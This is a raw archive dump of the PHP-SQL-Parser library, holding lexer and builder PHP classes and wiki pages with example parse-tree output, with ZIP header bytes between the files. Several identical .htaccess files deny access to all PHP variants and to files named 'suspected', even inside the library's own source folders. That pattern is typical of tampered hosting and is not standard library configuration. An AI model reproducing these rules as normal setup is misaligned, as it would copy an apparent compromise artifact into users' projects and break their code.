 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the table part of a CREATE INDEX statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateIndexTableBuilder implements Builder {

    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if (!isset($parsed['on']) || $parsed['on'] === false) {
            return '';
        }
        $table = $parsed['on'];
        if ($table['expr_type'] !== ExpressionType::TABLE) {
            return '';
        }
        return 'ON ' . $table['name'] . ' ' . $this->buildColumnList($table['sub_tree']);
    }

}
?>
PK     \Sʉ      :  vendor/greenlion/php-sql-parser/src/PHPSQLParser/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \OM    H  vendor/greenlion/php-sql-parser/src/PHPSQLParser/lexer/LexerSplitter.phpnu [        <?php
/**
 * LexerSplitter.php
 *
 * Defines the characters, which are used to split the given SQL string.
 * Part of PHPSQLParser.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\lexer;

/**
 * This class holds a sorted array of characters, which are used as stop token.
 * On every part of the array the given SQL string will be split into single tokens.
 * The array must be sorted by element size, longest first (3 chars -> 2 chars -> 1 char).
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class LexerSplitter {

    protected static $splitters = array("<=>", "\r\n", "!=", ">=", "<=", "<>", "<<", ">>", ":=", "\\", "&&", "||", ":=",
                                       "/*", "*/", "--", ">", "<", "|", "=", "^", "(", ")", "\t", "\n", "'", "\"", "`",
                                       ",", "@", " ", "+", "-", "*", "/", ";");

	/**
	 * @var string Regex string pattern of splitters.
	 */
    protected $splitterPattern;

    /**
     * Constructor.
     * 
     * It initializes some fields.
     */
    public function __construct() {
        $this->splitterPattern = $this->convertSplittersToRegexPattern( self::$splitters );
    }

	/**
	 * Get the regex pattern string of all the splitters
	 *
	 * @return string
	 */
    public function getSplittersRegexPattern () {
	    return $this->splitterPattern;
    }

	/**
	 * Convert an array of splitter tokens to a regex pattern string.
	 *
	 * @param array $splitters
	 *
	 * @return string
	 */
    public function convertSplittersToRegexPattern( $splitters ) {
	    $regex_parts = array();
	    foreach ( $splitters as $part ) {
		    $part = preg_quote( $part );

		    switch ( $part ) {
			    case "\r\n":
				    $part = '\r\n';
				    break;
			    case "\t":
				    $part = '\t';
				    break;
			    case "\n":
				    $part = '\n';
				    break;
			    case " ":
				    $part = '\s';
				    break;
			    case "/":
				    $part = "\/";
				    break;
			    case "/\*":
				    $part = "\/\*";
				    break;
			    case "\*/":
				    $part = "\*\/";
				    break;
		    }

		    $regex_parts[] = $part;
	    }

	    $pattern = implode( '|', $regex_parts );

	    return '/(' . $pattern . ')/';
    }
}

?>
PK     \71  1  F  vendor/greenlion/php-sql-parser/src/PHPSQLParser/lexer/PHPSQLLexer.phpnu [        <?php
/**
 * PHPSQLLexer.php
 *
 * This file contains the lexer, which splits and recombines parts of the
 * SQL statement just before parsing.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\lexer;
use PHPSQLParser\exceptions\InvalidParameterException;

/**
 * This class splits the SQL string into little parts, which the parser can
 * use to build the result array.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class PHPSQLLexer {

    protected $splitters;

    /**
     * Constructor.
     *
     * It initializes some fields.
     */
    public function __construct() {
        $this->splitters = new LexerSplitter();
    }

    /**
     * Ends the given string $haystack with the string $needle?
     *
     * @param string $haystack
     * @param string $needle
     *
     * @return boolean true, if the parameter $haystack ends with the character sequences $needle, false otherwise
     */
    protected function endsWith($haystack, $needle) {
        $length = strlen($needle);
        if ($length == 0) {
            return true;
        }
        return (substr($haystack, -$length) === $needle);
    }

    public function split($sql) {
        if (!is_string($sql)) {
            throw new InvalidParameterException($sql);
        }
        $tokens = preg_split($this->splitters->getSplittersRegexPattern(), $sql, 0, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
        $tokens = $this->concatComments($tokens);
        $tokens = $this->concatEscapeSequences($tokens);
        $tokens = $this->balanceBackticks($tokens);
        $tokens = $this->concatColReferences($tokens);
        $tokens = $this->balanceParenthesis($tokens);
        $tokens = $this->concatUserDefinedVariables($tokens);
        $tokens = $this->concatScientificNotations($tokens);
        $tokens = $this->concatNegativeNumbers($tokens);
        return $tokens;
    }

    protected function concatNegativeNumbers($tokens) {

    	$i = 0;
    	$cnt = count($tokens);
    	$possibleSign = true;

    	while ($i < $cnt) {

    		if (!isset($tokens[$i])) {
    			$i++;
    			continue;
    		}

    		$token = $tokens[$i];

    		// a sign is also possible on the first position of the tokenlist
    		if ($possibleSign === true) {
				if ($token === '-' || $token === '+') {
					if (is_numeric($tokens[$i + 1])) {
						$tokens[$i + 1] = $token . $tokens[$i + 1];
						unset($tokens[$i]);
					}
				}
				$possibleSign = false;
				continue;
    		}

    		// TODO: we can have sign of a number after "(" and ",", are others possible?
    		if (substr($token, -1, 1) === "," || substr($token, -1, 1) === "(") {
    			$possibleSign = true;
    		}

    		$i++;
   		}

   		return array_values($tokens);
    }

    protected function concatScientificNotations($tokens) {

        $i = 0;
        $cnt = count($tokens);
        $scientific = false;

        while ($i < $cnt) {

            if (!isset($tokens[$i])) {
                $i++;
                continue;
            }

            $token = $tokens[$i];

            if ($scientific === true) {
                if ($token === '-' || $token === '+') {
                    $tokens[$i - 1] .= $tokens[$i];
                    $tokens[$i - 1] .= $tokens[$i + 1];
                    unset($tokens[$i]);
                    unset($tokens[$i + 1]);

                } elseif (is_numeric($token)) {
                    $tokens[$i - 1] .= $tokens[$i];
                    unset($tokens[$i]);
                }
                $scientific = false;
                continue;
            }

            if (strtoupper(substr($token, -1, 1)) === 'E') {
                $scientific = is_numeric(substr($token, 0, -1));
            }

            $i++;
        }

        return array_values($tokens);
    }

    protected function concatUserDefinedVariables($tokens) {
        $i = 0;
        $cnt = count($tokens);
        $userdef = false;

        while ($i < $cnt) {

            if (!isset($tokens[$i])) {
                $i++;
                continue;
            }

            $token = $tokens[$i];

            if ($userdef !== false) {
                $tokens[$userdef] .= $token;
                unset($tokens[$i]);
                if ($token !== "@") {
                    $userdef = false;
                }
            }

            if ($userdef === false && $token === "@") {
                $userdef = $i;
            }

            $i++;
        }

        return array_values($tokens);
    }

    protected function concatComments($tokens) {

        $i = 0;
        $cnt = count($tokens);
        $comment = false;
        $backTicks = [];
        $in_string = false;
        $inline = false;

        while ($i < $cnt) {

            if (!isset($tokens[$i])) {
                $i++;
                continue;
            }

            $token = $tokens[$i];

            /*
             * Check to see if we're inside a value (i.e. back ticks).
             * If so inline comments are not valid.
             */
            if ($comment === false && $this->isBacktick($token)) {
                if (!empty($backTicks)) {
                    $lastBacktick = array_pop($backTicks);
                    if ($lastBacktick != $token) {
                        $backTicks[] = $lastBacktick; // Re-add last back tick
                        $backTicks[] = $token;
                    }
                } else {
                    $backTicks[] = $token;
                }
            }

            if($comment === false && ($token == "\"" || $token == "'")) {
                $in_string = !$in_string;
            }
            if(!$in_string) {
                if ($comment !== false) {
                    if ($inline === true && ($token === "\n" || $token === "\r\n")) {
                        $comment = false;
                    } else {
                        unset($tokens[$i]);
                        $tokens[$comment] .= $token;
                    }
                    if ($inline === false && ($token === "*/")) {
                        $comment = false;
                    }
                }

                if (($comment === false) && ($token === "--") && empty($backTicks)) {
                    $comment = $i;
                    $inline = true;
                }

                if (($comment === false) && (substr($token, 0, 1) === "#") && empty($backTicks)) {
                    $comment = $i;
                    $inline = true;
                }

                if (($comment === false) && ($token === "/*")) {
                    $comment = $i;
                    $inline = false;
                }
            }

            $i++;
        }

        return array_values($tokens);
    }

    protected function isBacktick($token) {
        return ($token === "'" || $token === "\"" || $token === "`");
    }

    protected function balanceBackticks($tokens) {
        $i = 0;
        $cnt = count($tokens);
        while ($i < $cnt) {

            if (!isset($tokens[$i])) {
                $i++;
                continue;
            }

            $token = $tokens[$i];

            if ($this->isBacktick($token)) {
                $tokens = $this->balanceCharacter($tokens, $i, $token);
            }

            $i++;
        }

        return $tokens;
    }

    // backticks are not balanced within one token, so we have
    // to re-combine some tokens
    protected function balanceCharacter($tokens, $idx, $char) {

        $token_count = count($tokens);
        $i = $idx + 1;
        while ($i < $token_count) {

            if (!isset($tokens[$i])) {
                $i++;
                continue;
            }

            $token = $tokens[$i];
            $tokens[$idx] .= $token;
            unset($tokens[$i]);

            if ($token === $char) {
                break;
            }

            $i++;
        }
        return array_values($tokens);
    }

    /**
     * This function concats some tokens to a column reference.
     * There are two different cases:
     *
     * 1. If the current token ends with a dot, we will add the next token
     * 2. If the next token starts with a dot, we will add it to the previous token
     *
     */
    protected function concatColReferences($tokens) {

        $cnt = count($tokens);
        $i = 0;
        while ($i < $cnt) {

            if (!isset($tokens[$i])) {
                $i++;
                continue;
            }

            if ($tokens[$i][0] === ".") {

                // concat the previous tokens, till the token has been changed
                $k = $i - 1;
                $len = strlen($tokens[$i]);
                while (($k >= 0) && ($len == strlen($tokens[$i]))) {
                    if (!isset($tokens[$k])) { // FIXME: this can be wrong if we have schema . table . column
                        $k--;
                        continue;
                    }
                    $tokens[$i] = $tokens[$k] . $tokens[$i];
                    unset($tokens[$k]);
                    $k--;
                }
            }

            if ($this->endsWith($tokens[$i], '.') && !is_numeric($tokens[$i])) {

                // concat the next tokens, till the token has been changed
                $k = $i + 1;
                $len = strlen($tokens[$i]);
                while (($k < $cnt) && ($len == strlen($tokens[$i]))) {
                    if (!isset($tokens[$k])) {
                        $k++;
                        continue;
                    }
                    $tokens[$i] .= $tokens[$k];
                    unset($tokens[$k]);
                    $k++;
                }
            }

            $i++;
        }

        return array_values($tokens);
    }

    protected function concatEscapeSequences($tokens) {
        $tokenCount = count($tokens);
        $i = 0;
        while ($i < $tokenCount) {

            if ($this->endsWith($tokens[$i], "\\")) {
                $i++;
                if (isset($tokens[$i])) {
                    $tokens[$i - 1] .= $tokens[$i];
                    unset($tokens[$i]);
                }
            }
            $i++;
        }
        return array_values($tokens);
    }

    protected function balanceParenthesis($tokens) {
        $token_count = count($tokens);
        $i = 0;
        while ($i < $token_count) {
            if ($tokens[$i] !== '(') {
                $i++;
                continue;
            }
            $count = 1;
            for ($n = $i + 1; $n < $token_count; $n++) {
                $token = $tokens[$n];
                if ($token === '(') {
                    $count++;
                }
                if ($token === ')') {
                    $count--;
                }
                $tokens[$i] .= $token;
                unset($tokens[$n]);
                if ($count === 0) {
                    $n++;
                    break;
                }
            }
            $i = $n;
        }
        return array_values($tokens);
    }
}

?>
PK     \Sʉ      @  vendor/greenlion/php-sql-parser/src/PHPSQLParser/lexer/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      -  vendor/greenlion/php-sql-parser/src/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \W    5  vendor/greenlion/php-sql-parser/wiki/Parser-Manual.mdnu [        ### How to integrate php-sql-parse into your application

The parser comes with multiple PHP files, which are downloadable from https://github.com/greenlion/PHP-SQL-Parser/wiki/Downloads (stable version). It does not require any PECL packages. The latest development version is also accessible on http://code.google.com/p/php-sql-parser/source/browse/trunk.

***

1. Download the SQL parser from: https://github.com/greenlion/PHP-SQL-Parser/wiki/Downloads and unzip it into your include directory.
2. add `require_once('php-sql-parser.php')` to your application
3. Use the parser:  

 ```php
 $parser = new PHPSQLParser();
 $parsed = $parser->parse($sql);
 print_r($parsed);
 ```

4. it is also possible to generate keyword positions during the parser step
5. for every base_expr entry the parser stores the position within the original SQL string  

 ```php
 $parser = new PHPSQLParser();
 $parsed = $parser->parse($sql, true);
 print_r($parsed);
 ```

### Trying the examples

The best way to see how to use the parser is to look at the extensive examples, which you can get here:

1. Download the SQL parser from: https://github.com/greenlion/PHP-SQL-Parser/wiki/Downloads and unzip it into your include directory.
2. There is a file example.php, that contains a lot of examples. More examples you can find within the /tests folder.
3. Execute the example:
 
 ```Bash
 php examples/example.php
 ```

### Using the parser
**There are two ways in which you can parse statements**

1. Use the **constructor**  

 ```php
 /* The constructor simply calls the parse() method on the provided SQL for convenience.*/
 $parser = new PHPSQLParser('select 1');
 print_r($parser->parsed);
 ```

2. Use the **parse()** method  

 ```php
 $parser = new PHPSQLParser();
 print_r($parser->parse('select 2')); /* this is okay, the tree is saved in the _parsed_ property.

 /* get the tree for the last parsed statement */
 $save = $parser->parsed;
 ```

There are no other public functions.

### Using the creator
**There are two ways in which you can create statements from parser output**

1. Use the **constructor**  
  
 ```php
 /* The constructor simply calls the create() method on the provided parser tree output for convenience. */
 $parser = new PHPSQLParser('select 1');
 $creator = new PHPSQLCreator($parser->parsed);
 echo $creator->created;
 ```
  
2. Use the **create()** method  

 ```php
 $parser = new PHPSQLParser('select 2');
 $creator = new PHPSQLCreator();
 echo $creator->create($parser->parsed); /* this is okay, the SQL is saved in the _created_ property. */

 /* get the SQL statement for the last parsed statement */
 $save = $creator->created;
 ```

There are no other public functions.

### Parse tree overview

The parsed representation returned by [PHP-SQL-Parser](https://github.com/greenlion/PHP-SQL-Parser) is an associative array of important SQL sections and the information about the clauses in each of those sections. Because this is easier to visualize, I'll provide a simple example. As I said, the parser splits up the query into sections. Later the manual will describe what sections are available each of the supported SQL statement types.

In the example the given query has three sections: SELECT,FROM,WHERE. You will see each of these sections in the parser output. Each of those sections contain items. Each item represents a keyword, a literal value, a subquery, an expression or a column reference.

In the following example, the SELECT section contains one item which is a column reference (colref). The FROM clause contains only one table. You'll notice that it still says 'JOIN'. Don't be confused by this. Every table item is a join, but it may not have any join critera. Finally, the where clause consists of three items, a colref, an operator and a literal value (const).

There is a [complex example](https://github.com/greenlion/PHP-SQL-Parser/wiki/Complex-Example) which features almost all of the available SELECT syntax.

#### simple example

***
```php
<?php
  require_once('php-sql-parser.php');
  $parser=new PHPSQLParser('
SELECT a 
  from some_table an_alias
 WHERE d > 5;
', true);

  print_r($parser->parsed);  
```

**Output**

***
```php
Array
(
    [SELECT] => Array
        (
            [0] => Array
                (
                    [expr_type] => colref
                    [alias] => 
                    [base_expr] => a
                    [sub_tree] => 
                    [position] => 8
                )

        )

    [FROM] => Array
        (
            [0] => Array
                (
                    [expr_type] => table
                    [table] => some_table
                    [alias] => Array
                        (
                            [as] => 
                            [name] => an_alias
                            [base_expr] => an_alias
                            [position] => 29
                        )

                    [join_type] => JOIN
                    [ref_type] => 
                    [ref_clause] => 
                    [base_expr] => some_table an_alias
                    [sub_tree] => 
                    [position] => 18
                )

        )

    [WHERE] => Array
        (
            [0] => Array
                (
                    [expr_type] => colref
                    [base_expr] => d
                    [sub_tree] => 
                    [position] => 45
                )

            [1] => Array
                (
                    [expr_type] => operator
                    [base_expr] => >
                    [sub_tree] => 
                    [position] => 47
                )

            [2] => Array
                (
                    [expr_type] => const
                    [base_expr] => 5
                    [sub_tree] => 
                    [position] => 49
                )

        )

)
```PK     \f^S  S  1  vendor/greenlion/php-sql-parser/wiki/Downloads.mdnu [        ### Git
https://github.com/greenlion/PHP-SQL-Parser

### Subversion
https://code.google.com/p/php-sql-parser/source/checkout

### Google Drive (.zip)
http://tinyurl.com/mg8bh9p

### Packagist
https://packagist.org/packages/greenlion/php-sql-parser

### GoogleCode (only old versions)
https://code.google.com/p/php-sql-parser/downloads/listPK     \.  .  /  vendor/greenlion/php-sql-parser/wiki/Roadmap.mdnu [        * ~~supporting CREATE INDEX (see  issue 131 )~~

* refactoring of
  * the parser tests (all tests should work, except the open issues)
  * ~~the RENAME statement~~
  * ~~the DROP statement~~

* re-programming of
  * FROM statement 

* finishing of
  * issue 33 (creator should build PARTITION parts) 

PK     \~  ~  7  vendor/greenlion/php-sql-parser/wiki/Complex-Example.mdnu [        ### Code

```php
require_once('php-sql-parser.php');

$sql = 'select DISTINCT 1+2   c1, 1+ 2 as
`c2`, sum(c2),sum(c3) as sum_c3,"Status" = CASE
        WHEN quantity > 0 THEN \'in stock\'
        ELSE \'out of stock\'
        END case_statement
, t4.c1, (select c1+c2 from t1 inner_t1 limit 1) as subquery into @a1, @a2, @a3 from t1 the_t1 left outer join t2 using(c1,c2) join t3 as tX ON tX.c1 = the_t1.c1 join t4 t4_x using(x) where c1 = 1 and c2 in (1,2,3, "apple") and exists ( select 1 from some_other_table another_table where x > 1) and ("zebra" = "orange" or 1 = 1) group by 1, 2 having sum(c2) > 1 ORDER BY 2, c1 DESC LIMIT 0, 10 into outfile "/xyz" FOR UPDATE LOCK IN SHARE MODE';


$parser = new PHPSQLParser($sql, true);
print_r($parser->parsed);
```

### Output

```php
Array
(
    [SELECT] => Array
        (
            [0] => Array
                (
                    [expr_type] => expression
                    [alias] => Array
                        (
                            [as] => 
                            [name] => c1
                            [base_expr] => c1
                            [position] => 22
                        )

                    [base_expr] => 1+2
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 1
                                    [sub_tree] => 
                                    [position] => 16
                                )

                            [1] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => +
                                    [sub_tree] => 
                                    [position] => 17
                                )

                            [2] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 2
                                    [sub_tree] => 
                                    [position] => 18
                                )

                        )

                    [position] => 16
                )

            [1] => Array
                (
                    [expr_type] => expression
                    [alias] => Array
                        (
                            [as] => 1
                            [name] => c2
                            [base_expr] => as
`c2`
                            [position] => 31
                        )

                    [base_expr] => 1+ 2
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 1
                                    [sub_tree] => 
                                    [position] => 26
                                )

                            [1] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => +
                                    [sub_tree] => 
                                    [position] => 27
                                )

                            [2] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 2
                                    [sub_tree] => 
                                    [position] => 29
                                )

                        )

                    [position] => 26
                )

            [2] => Array
                (
                    [expr_type] => aggregate_function
                    [alias] => 
                    [base_expr] => sum
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => c2
                                    [sub_tree] => 
                                    [position] => 44
                                )

                        )

                    [position] => 40
                )

            [3] => Array
                (
                    [expr_type] => aggregate_function
                    [alias] => Array
                        (
                            [as] => 1
                            [name] => sum_c3
                            [base_expr] => as sum_c3
                            [position] => 56
                        )

                    [base_expr] => sum
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => c3
                                    [sub_tree] => 
                                    [position] => 52
                                )

                        )

                    [position] => 48
                )

            [4] => Array
                (
                    [expr_type] => expression
                    [alias] => Array
                        (
                            [as] => 
                            [name] => case_statement
                            [base_expr] => case_statement
                            [position] => 164
                        )

                    [base_expr] => "Status" = CASE
        WHEN quantity > 0 THEN 'in stock'
        ELSE 'out of stock'
        END
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => "Status"
                                    [sub_tree] => 
                                    [position] => 66
                                )

                            [1] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => =
                                    [sub_tree] => 
                                    [position] => 75
                                )

                            [2] => Array
                                (
                                    [expr_type] => reserved
                                    [base_expr] => CASE
                                    [sub_tree] => 
                                    [position] => 77
                                )

                            [3] => Array
                                (
                                    [expr_type] => reserved
                                    [base_expr] => WHEN
                                    [sub_tree] => 
                                    [position] => 90
                                )

                            [4] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => quantity
                                    [sub_tree] => 
                                    [position] => 95
                                )

                            [5] => Array
                                (
                                    [expr_type] => operator
                                    [base_expr] => >
                                    [sub_tree] => 
                                    [position] => 104
                                )

                            [6] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 0
                                    [sub_tree] => 
                                    [position] => 106
                                )

                            [7] => Array
                                (
                                    [expr_type] => reserved
                                    [base_expr] => THEN
                                    [sub_tree] => 
                                    [position] => 108
                                )

                            [8] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 'in stock'
                                    [sub_tree] => 
                                    [position] => 113
                                )

                            [9] => Array
                                (
                                    [expr_type] => reserved
                                    [base_expr] => ELSE
                                    [sub_tree] => 
                                    [position] => 132
                                )

                            [10] => Array
                                (
                                    [expr_type] => const
                                    [base_expr] => 'out of stock'
                                    [sub_tree] => 
                                    [position] => 137
                                )

                            [11] => Array
                                (
                                    [expr_type] => reserved
                                    [base_expr] => END
                                    [sub_tree] => 
                                    [position] => 160
                                )

                        )

                    [position] => 66
                )

            [5] => Array
                (
                    [expr_type] => colref
                    [alias] => 
                    [base_expr] => t4.c1
                    [sub_tree] => 
                    [position] => 181
                )

            [6] => Array
                (
                    [expr_type] => expression
                    [alias] => Array
                        (
                            [as] => 1
                            [name] => subquery
                            [base_expr] => as subquery
                            [position] => 228
                        )

                    [base_expr] => (select c1+c2 from t1 inner_t1 limit 1)
                    [sub_tree] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => subquery
                                    [base_expr] => (select c1+c2 from t1 inner_t1 limit 1)
                                    [sub_tree] => Array
                                        (
                                            [SELECT] => Array
                                                (
                                                    [0] => Array
                                                        (
                                                            [expr_type] => expression
                                                            [alias] => 
                                                            [base_expr] => c1+c2
                                                            [sub_tree] => Array
                                                                (
                                                                    [0] => Array
                                                                        (
                                                                            [expr_type] => colref
                                                                            [base_expr] => c1
                                                                            [sub_tree] => 
                                                                            [position] => 196
                                                                        )

                                                                    [1] => Array
                                                                        (
                                                                            [expr_type] => operator
                                                                            [base_expr] => +
                                                                            [sub_tree] => 
                                                                            [position] => 198
                                                                        )

                                                                    [2] => Array
                                                                        (
                                                                            [expr_type] => colref
                                                                            [base_expr] => c2
                                                                            [sub_tree] => 
                                                                            [position] => 199
                                                                        )

                                                                )

                                                            [position] => 196
                                                        )

                                                )

                                            [FROM] => Array
                                                (
                                                    [0] => Array
                                                        (
                                                            [expr_type] => table
                                                            [table] => t1
                                                            [alias] => Array
                                                                (
                                                                    [as] => 
                                                                    [name] => inner_t1
                                                                    [base_expr] => inner_t1
                                                                    [position] => 210
                                                                )

                                                            [join_type] => JOIN
                                                            [ref_type] => 
                                                            [ref_clause] => 
                                                            [base_expr] => t1 inner_t1
                                                            [sub_tree] => 
                                                            [position] => 207
                                                        )

                                                )

                                            [LIMIT] => Array
                                                (
                                                    [offset] => 
                                                    [rowcount] => 1
                                                )

                                        )

                                    [position] => 188
                                )

                        )

                    [position] => 188
                )

        )

    [OPTIONS] => Array
        (
            [0] => DISTINCT
            [1] => FOR UPDATE
            [2] => LOCK IN SHARE MODE
        )

    [INTO] => Array
        (
            [0] => @a1
            [1] => @a2
            [2] => @a3
            [3] => outfile
            [4] => "/xyz"
        )

    [FROM] => Array
        (
            [0] => Array
                (
                    [expr_type] => table
                    [table] => t1
                    [alias] => Array
                        (
                            [as] => 
                            [name] => the_t1
                            [base_expr] => the_t1
                            [position] => 267
                        )

                    [join_type] => JOIN
                    [ref_type] => 
                    [ref_clause] => 
                    [base_expr] => t1 the_t1
                    [sub_tree] => 
                    [position] => 264
                )

            [1] => Array
                (
                    [expr_type] => table
                    [table] => t2
                    [alias] => 
                    [join_type] => LEFT
                    [ref_type] => USING
                    [ref_clause] => Array
                        (
                            [0] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => c1
                                    [sub_tree] => 
                                    [position] => 299
                                )

                            [1] => Array
                                (
                                    [expr_type] => colref
                                    [base_expr] => c2
                                    [sub_tree] => 
                                    [position] => 302
                                )

                        )

                    [base_expr] => t2 using(c1,c2)
